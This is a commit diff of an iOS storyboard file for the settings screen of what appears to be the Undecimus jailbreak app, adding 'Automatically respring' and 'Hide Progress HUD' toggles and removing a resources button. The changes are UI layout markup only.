Compare commits
49 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 246f47ff09 | |||
| d566c24914 | |||
| 805bae9a6a | |||
| a16a6ccf39 | |||
| 9412034c6e | |||
| 2a2d0b7b0b | |||
| c29bb1d0d2 | |||
| 1a1133c4f3 | |||
| 5725cd55dd | |||
| e957ee8d0b | |||
| 7d59e3c4b1 | |||
| 3fc38ccb43 | |||
| 53d22ef49f | |||
| 3916f6f64f | |||
| 40ab52846e | |||
| 050d80d9c7 | |||
| f49c6d5e5f | |||
| 04e48a6d5b | |||
| 9c920c4ef5 | |||
| e286f0eb88 | |||
| 0de7551ab2 | |||
| f31b3816aa | |||
| 45ba717cc5 | |||
| 6e9c817f72 | |||
| 79cbc046aa | |||
| 0cc0660343 | |||
| b1a373bbfc | |||
| 952b10720d | |||
| db5b6af977 | |||
| 779d3d7a00 | |||
| d8872fc87f | |||
| 64e3883d13 | |||
| de3abf9510 | |||
| a573386226 | |||
| 91d77d52d0 | |||
| 4fd316fca6 | |||
| 7ff6bceaed | |||
| 19613aedd1 | |||
| 68342215b8 | |||
| cea3eaae00 | |||
| fa21ed6490 | |||
| a5364aabb5 | |||
| 0c8a86d3c0 | |||
| 6b4bd73aa1 | |||
| 81036fd42e | |||
| f93bc468e9 | |||
| eaf6df4c07 | |||
| 360b9001a5 | |||
| 16aa0277fa |
+95
-83
@@ -370,7 +370,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="SnW-l5-pym">
|
||||
<rect key="frame" x="0.0" y="231.33333333333334" width="375" height="44.000000000000028"/>
|
||||
<rect key="frame" x="0.0" y="231.33333333333334" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="SnW-l5-pym" id="hGM-Op-O4C">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="44"/>
|
||||
@@ -879,9 +879,77 @@
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="VAY-4U-acE">
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="bf9-fy-Wkl">
|
||||
<rect key="frame" x="0.0" y="891.33333333333337" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="bf9-fy-Wkl" id="DRg-Cj-KuL">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="u2L-Kn-g1F">
|
||||
<rect key="frame" x="306" y="6.3333333333333321" width="51" height="30.999999999999996"/>
|
||||
<color key="onTintColor" red="0.0" green="0.47843137250000001" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||
<connections>
|
||||
<action selector="setAutoRespring:" destination="ScN-Hx-Um8" eventType="valueChanged" id="ukY-yN-MP7"/>
|
||||
</connections>
|
||||
</switch>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Automatically respring" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="TIX-3L-niq">
|
||||
<rect key="frame" x="15" y="11.666666666666666" width="225" height="20.333333333333336"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="225" id="RX4-Au-Jhd"/>
|
||||
<constraint firstAttribute="height" constant="20.5" id="kuk-1z-wwJ"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<nil key="textColor"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="u2L-Kn-g1F" firstAttribute="centerY" secondItem="DRg-Cj-KuL" secondAttribute="centerY" id="KXi-Mr-u2F"/>
|
||||
<constraint firstItem="TIX-3L-niq" firstAttribute="centerY" secondItem="DRg-Cj-KuL" secondAttribute="centerY" id="Rjo-Mo-XS0"/>
|
||||
<constraint firstAttribute="trailing" secondItem="u2L-Kn-g1F" secondAttribute="trailing" constant="20" id="Zdg-Kd-rSf"/>
|
||||
<constraint firstItem="TIX-3L-niq" firstAttribute="leading" secondItem="DRg-Cj-KuL" secondAttribute="leading" constant="15" id="dly-NP-ICU"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="FYX-Ev-0WY">
|
||||
<rect key="frame" x="0.0" y="935.33333333333337" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="FYX-Ev-0WY" id="Bf2-mQ-zLh">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="QGQ-WC-OzV">
|
||||
<rect key="frame" x="306" y="6.3333333333333321" width="51" height="30.999999999999996"/>
|
||||
<color key="onTintColor" red="0.0" green="0.47843137250000001" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||
<connections>
|
||||
<action selector="setHideProgressHUD:" destination="ScN-Hx-Um8" eventType="valueChanged" id="yfA-ws-kaS"/>
|
||||
</connections>
|
||||
</switch>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Hide Progress HUD" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="kqM-X5-9Qe">
|
||||
<rect key="frame" x="15" y="11.666666666666666" width="225" height="20.333333333333336"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="20.5" id="AJu-ZH-2aG"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="225" id="w9P-8R-tGe"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<nil key="textColor"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="kqM-X5-9Qe" firstAttribute="centerY" secondItem="Bf2-mQ-zLh" secondAttribute="centerY" id="OwD-gv-Cim"/>
|
||||
<constraint firstAttribute="trailing" secondItem="QGQ-WC-OzV" secondAttribute="trailing" constant="20" id="T5G-gd-ZL7"/>
|
||||
<constraint firstItem="kqM-X5-9Qe" firstAttribute="leading" secondItem="Bf2-mQ-zLh" secondAttribute="leading" constant="15" id="UYu-eM-R3J"/>
|
||||
<constraint firstItem="QGQ-WC-OzV" firstAttribute="centerY" secondItem="Bf2-mQ-zLh" secondAttribute="centerY" id="fGF-ne-NXa"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="VAY-4U-acE">
|
||||
<rect key="frame" x="0.0" y="979.33333333333337" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="VAY-4U-acE" id="f58-Sa-aTz">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
@@ -925,7 +993,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="RoJ-Zg-nGn">
|
||||
<rect key="frame" x="0.0" y="935.33333333333337" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1023.3333333333335" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="RoJ-Zg-nGn" id="bjb-rj-ILk">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="44"/>
|
||||
@@ -965,7 +1033,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="biY-DV-Cta">
|
||||
<rect key="frame" x="0.0" y="979.33333333333337" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1067.3333333333335" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="biY-DV-Cta" id="rBs-X3-4zg">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="44"/>
|
||||
@@ -1002,7 +1070,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="oC8-uX-vAJ">
|
||||
<rect key="frame" x="0.0" y="1023.3333333333335" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1111.3333333333335" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="oC8-uX-vAJ" id="82P-vy-Ygt">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="44"/>
|
||||
@@ -1035,10 +1103,10 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="NWI-5m-CqO">
|
||||
<rect key="frame" x="0.0" y="1067.3333333333335" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1155.3333333333335" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="NWI-5m-CqO" id="UhO-Lz-lTj">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Uptime" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="BVc-2b-57b">
|
||||
@@ -1072,7 +1140,7 @@
|
||||
<tableViewSection headerTitle="Utilities" footerTitle="PLACEHOLDER" id="33o-xO-9yG">
|
||||
<cells>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="2Iu-w9-x4b">
|
||||
<rect key="frame" x="0.0" y="1174.6666666666667" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1262.6666666666667" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="2Iu-w9-x4b" id="t4K-YB-H8y">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -1096,7 +1164,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="DTa-Xu-fsT">
|
||||
<rect key="frame" x="0.0" y="1218.6666666666667" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1306.6666666666667" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="DTa-Xu-fsT" id="krI-4z-ctw">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -1120,7 +1188,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="LaS-Im-6eS">
|
||||
<rect key="frame" x="0.0" y="1262.6666666666667" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1350.6666666666667" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="LaS-Im-6eS" id="dcQ-Ib-8Mg">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -1144,7 +1212,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="yX4-Fp-ygw">
|
||||
<rect key="frame" x="0.0" y="1306.6666666666667" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1394.6666666666667" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="yX4-Fp-ygw" id="jeW-Es-OSZ">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -1168,7 +1236,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="N5h-RW-loI">
|
||||
<rect key="frame" x="0.0" y="1350.6666666666667" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1438.6666666666667" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="N5h-RW-loI" id="yqV-gg-joY">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -1192,7 +1260,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="5p2-OT-Rp8">
|
||||
<rect key="frame" x="0.0" y="1394.666666666667" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1482.666666666667" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="5p2-OT-Rp8" id="psM-OR-RxD">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -1216,7 +1284,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="G9h-ne-rnX">
|
||||
<rect key="frame" x="0.0" y="1438.666666666667" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1526.666666666667" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="G9h-ne-rnX" id="WdA-qm-GQq">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -1240,7 +1308,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="meU-ko-WL5">
|
||||
<rect key="frame" x="0.0" y="1482.666666666667" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1570.666666666667" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="meU-ko-WL5" id="d4g-il-Gek">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -1273,6 +1341,7 @@
|
||||
</tableView>
|
||||
<navigationItem key="navigationItem" title="Settings" id="gmU-Kt-ooy"/>
|
||||
<connections>
|
||||
<outlet property="AutoRespringSwitch" destination="u2L-Kn-g1F" id="MrO-tO-xbD"/>
|
||||
<outlet property="BootNonceTextField" destination="AmI-8O-WbP" id="Zdg-ET-M8T"/>
|
||||
<outlet property="DisableAppRevokesSwitch" destination="p9t-Tt-64i" id="ZUO-Sc-Ucg"/>
|
||||
<outlet property="DisableAutoUpdatesSwitch" destination="P95-aF-zxV" id="pt6-rJ-pGS"/>
|
||||
@@ -1282,6 +1351,7 @@
|
||||
<outlet property="ExpiryLabel" destination="Ggb-8F-dfb" id="Dh4-If-9ID"/>
|
||||
<outlet property="ExportKernelTaskPortSwitch" destination="HCT-C6-X9W" id="1iJ-hC-FYO"/>
|
||||
<outlet property="HideLogWindowSwitch" destination="okw-vN-Hf5" id="bNO-DC-3Nn"/>
|
||||
<outlet property="HideProgressHUDSwitch" destination="QGQ-WC-OzV" id="lnt-q5-D8m"/>
|
||||
<outlet property="IncreaseMemoryLimitSwitch" destination="su4-yz-yLP" id="m13-Wn-tVi"/>
|
||||
<outlet property="KernelExploitSegmentedControl" destination="6Xx-ol-UYF" id="O8d-hv-ElQ"/>
|
||||
<outlet property="LoadDaemonsSwitch" destination="sUh-Nj-0hf" id="rbY-Ms-vpR"/>
|
||||
@@ -1926,37 +1996,8 @@
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="jrp-kZ-kGz">
|
||||
<rect key="frame" x="0.0" y="979.33333333333337" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="jrp-kZ-kGz" id="dlV-V2-1Of">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="HS5-KH-MzO">
|
||||
<rect key="frame" x="15" y="5.3333333333333321" width="175" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="77" id="v7f-M8-Rd7"/>
|
||||
<constraint firstAttribute="height" constant="33" id="yr2-29-3V0"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="Undecimus-Resources">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
<action selector="tappedOnUndecimusResources:" destination="uGG-wM-8Jf" eventType="touchUpInside" id="iJz-RA-u9v"/>
|
||||
</connections>
|
||||
</button>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="HS5-KH-MzO" firstAttribute="leading" secondItem="dlV-V2-1Of" secondAttribute="leading" constant="15" id="Xxl-rG-npl"/>
|
||||
<constraint firstItem="HS5-KH-MzO" firstAttribute="centerY" secondItem="dlV-V2-1Of" secondAttribute="centerY" id="jVR-Rt-KK7"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="2wN-5M-FuK">
|
||||
<rect key="frame" x="0.0" y="1023.3333333333334" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="979.33333333333337" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="2wN-5M-FuK" id="qsg-EE-xwA">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -1985,7 +2026,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="wN9-uB-6k8">
|
||||
<rect key="frame" x="0.0" y="1067.3333333333335" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1023.3333333333334" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="wN9-uB-6k8" id="ZJu-BD-YxW">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -2014,7 +2055,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="NfW-x4-NDs">
|
||||
<rect key="frame" x="0.0" y="1111.3333333333335" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1067.3333333333335" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="NfW-x4-NDs" id="XYe-kQ-1Jy">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -2043,7 +2084,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="TTa-w8-C7e">
|
||||
<rect key="frame" x="0.0" y="1155.3333333333335" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1111.3333333333335" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="TTa-w8-C7e" id="4S5-oW-IMo">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -2072,7 +2113,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="afy-0W-0PF">
|
||||
<rect key="frame" x="0.0" y="1199.3333333333335" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1155.3333333333335" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="afy-0W-0PF" id="2wb-pY-dn2">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -2101,7 +2142,7 @@
|
||||
